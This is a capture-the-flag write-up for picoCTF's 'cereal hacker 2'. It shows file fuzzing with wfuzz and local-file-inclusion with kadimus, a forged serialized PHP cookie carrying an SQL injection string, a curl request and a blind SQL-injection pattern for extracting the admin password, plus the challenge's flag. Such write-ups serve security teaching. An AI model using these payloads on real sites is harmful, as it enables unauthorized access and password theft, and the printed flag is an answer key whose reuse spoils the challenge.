cereal hacker 2
Problem
Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195
Solution
Scan for files that can be loaded using the
file
parameter in the URL (http://2019shell1.picoctf.com:62195/index.php?file=FUZZ
):kali@kali:~$ wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hs "Unable to locate" http://2019shell1.picoctf.com:62195/index.php?file=FUZZ Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.4.5 - The Web Fuzzer * ******************************************************** Target: http://2019shell1.picoctf.com:62195/index.php?file=FUZZ Total requests: 4652 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000487: 200 25 L 71 W 1108 Ch "admin" 000000493: 200 0 L 0 W 0 Ch "admin.php" 000001222: 200 6 L 17 W 500 Ch "cookie" 000002014: 200 12 L 33 W 993 Ch "head" 000002151: 200 0 L 0 W 0 Ch "index.php" 000002468: 200 34 L 82 W 1423 Ch "login" 000002148: 200 215826 575537 177337523 "index" 6 L 7 W Ch Total time: 62.45093 Processed Requests: 4652 Filtered Requests: 4645 Requests/sec.: 74.49048
The
--hs
argument hides responses that match the specifies regex. When the file is not found the text "Unable to locate" is displayed so those responses are ignored.Run P0cL4bs/kadimus with
./kadimus -u https://2019shell1.picoctf.com/problem/62195/index.php?file=FUZZ -S -f admin --parameter file
to findrequire_once('cookie.php');
inadmin.php
.Ouput of
/kadimus -u https://2019shell1.picoctf.com/problem/62195/index.php?file=FUZZ -S -f cookie --parameter file
:```php <?php
require_once('../sql_connect.php');
// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie class permissions { public $username; public $password;
function __construct($u, $p){ $this->username = $u; $this->password = $p; } function is_admin(){ global $sql_conn; if($sql_conn->connect_errno){ die('Could not connect'); } //$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');'; if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) { die("SQL error"); } $prepared->bind_param('ss', $this->username, $this->password); if (!$prepared->execute()) { die("SQL error"); } if (!($result = $prepared->get_result())) { die("SQL error"); } $r = $result->fetch_all(); if($result->num_rows !== 1){ $is_admin_val = 0; } else{ $is_admin_val = (int)$r[0][0]; } $sql_conn->close(); return $is_admin_val; }
}
/ legacy login / class siteuser { public $username; public $password;
function __construct($u, $p){ $this->username = $u; $this->password = $p; } function is_admin(){ global $sql_conn; if($sql_conn->connect_errno){ die('Could not connect'); } $q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');'; $result = $sql_conn->query($q); if($result->num_rows != 1){ $is_user_val = 0; } else{ $is_user_val = 1; } $sql_conn->close(); return $is_user_val; }
}
if(isset($_COOKIE['user_info'])){
try{
$perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
}
catch(Exception $except){
die('Deserialization error.');
}
}
?>
```
This reveals why SQLi will not work anymore. The website moved to prepared statements (`if (!($prepared = $sql_conn->**prepare**("SELECT ad`...) which are much safer. However, the `siteuser` class does not have this. It is vulnerable.
We can use the same format from
cereal hacker 1
but withsiteuser
instead ofpermissions
:O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:11:"' or '1'='1";}
. Use CyberChef with the recipe from before ([{"op":"To Base64","args":["A-Za-z0-9+/="]},{"op":"URL Encode","args":[true]},{"op":"URL Encode","args":[true]}]
) to encode the cookie.Run
curl http://2019shell1.picoctf.com:62195/index.php?file=admin -H "Cookie: user_info=Tzo4OiJzaXRldXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czo4OiJwYXNzd29yZCI7czoxMToiJyBvciAnMSc9JzEiO30%253D"
to get admin page.Run script.py to get the flag. This script performs a blind error-based SQL injection. It sends a request with the cookie from above, but it changes the password field using the pattern below:
' or password like BINARY 'p% ' or password like BINARY 'pi% ' or password like BINARY 'pic% ' or password like BINARY 'pico% ' or password like BINARY 'picoC% ' or password like BINARY 'picoCT% ' or password like BINARY 'picoCTF%
The program loops through ascii numbers and characters, trying each one until a login is successful. When the login is successful, the program appends that character to the stored flag and starts the loop again. The loop runs until the login is successful by adding the "}" character ("}" is end of flag) or until the list of characters is completely looped through in one iteration. If the second case were to happen then that means no character tested as valid or the end of the password has been reached.
Flag
picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}
Last updated
Was this helpful?